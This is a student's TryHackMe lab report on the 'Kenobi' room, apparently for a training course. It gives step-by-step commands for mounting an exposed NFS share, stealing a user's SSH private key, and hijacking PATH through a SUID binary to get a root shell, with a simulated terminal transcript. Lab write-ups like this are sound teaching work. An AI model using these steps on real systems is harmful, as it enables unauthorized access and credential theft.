

Week 6 · Task 16 – Metasploit – Exploit a Vulnerable Machine

Kenobi Room - Privilege Escalation & Exploitation Report

1. Executive Summary

This report documents the security assessment and exploitation of the 'Kenobi' machine on TryHackMe. The assessment identified misconfigured network file shares (NFS) and insecure SUID binaries utilizing relative paths, which allowed for local privilege escalation from a standard user account to root access.

2. Vulnerability Details

- **NFS Share Misconfiguration:** The target machine exposed an NFS share (/var) with insecure permissions, allowing unauthorized access to sensitive files, including the SSH private key (id_rsa) of the user 'Kenobi'.
- **Insecure SUID Binary (PATH Hijacking):** The SUID binary /usr/bin/menu executed system utilities (such as curl, uname, ifconfig) using relative paths rather than absolute paths. This permitted an attacker to manipulate the system PATH variable, tricking the root-owned binary into executing malicious scripts.

3. Exploits Used

- **NFS Export Enumeration:** Utilized Nmap and showmount to discover exported directories.
- **SSH Key Theft:** Copied the private key from the mounted filesystem to authenticate as the target user.
- **PATH Manipulation:** Created a rogue executable named 'curl' in /tmp and prepended /tmp to the PATH environment variable to intercept execution and spawn a root shell.

4. Step-by-Step Exploitation Steps

1. Enumerate open ports and services using Nmap, identifying SMB, NFS, and HTTP services.
2. Mount the exposed NFS share locally: `mount <target_ip>:/var /mnt/kenobiNFS`
3. Navigate to the mounted temporary directory to retrieve Kenobi's private SSH key: `cp /mnt/kenobiNFS/tmp/id_rsa .`
4. Secure the key permissions and log in via SSH: `chmod 600 id_rsa && ssh -i id_rsa kenobi@<target_ip>`
5. Find SUID binaries using `find / -perm -u=s 2>/dev/null`, identifying /usr/bin/menu.
6. Create a rogue binary/script to perform PATH hijacking inside /tmp: `cd /tmp && echo /bin/sh > curl && chmod 777 curl && export PATH=/tmp:$PATH`

7. Execute `/usr/bin/menu` and select option 1 to trigger the injected script under root privileges, yielding a root shell.

5. Proof of Concept (Shell Output Simulation)

The following simulated terminal block represents the successful execution of the PATH hijacking attack, resulting in root privileges:

```
kenobi@kenobi:/tmp$ echo /bin/sh > curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu

*****
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm)
# cat /root/root.txt
```

Share your win with your peers

Your progress can inspire others in your community.



Kenobi completed!

neharehan2020 completed another room on their cyber security journey.

Completed tasks

4

Points earned

88

Streak

12

Share on social media

Share your win before starting the next room

in LinkedIn

WhatsApp

Telegram

Twitter / X

Facebook

Reddit

Go to dashboard →

Screen to

Share your win with your peers

Your progress can inspire others in your community.



Metasploit: Introduction completed!

neharehan2020 completed another room on their cyber security journey.

Completed tasks

5

Points earned

80

Streak

12

Share on social media

Share your win before starting the next room

in LinkedIn

WhatsApp

Telegram

X Twitter / X

f Facebook

Reddit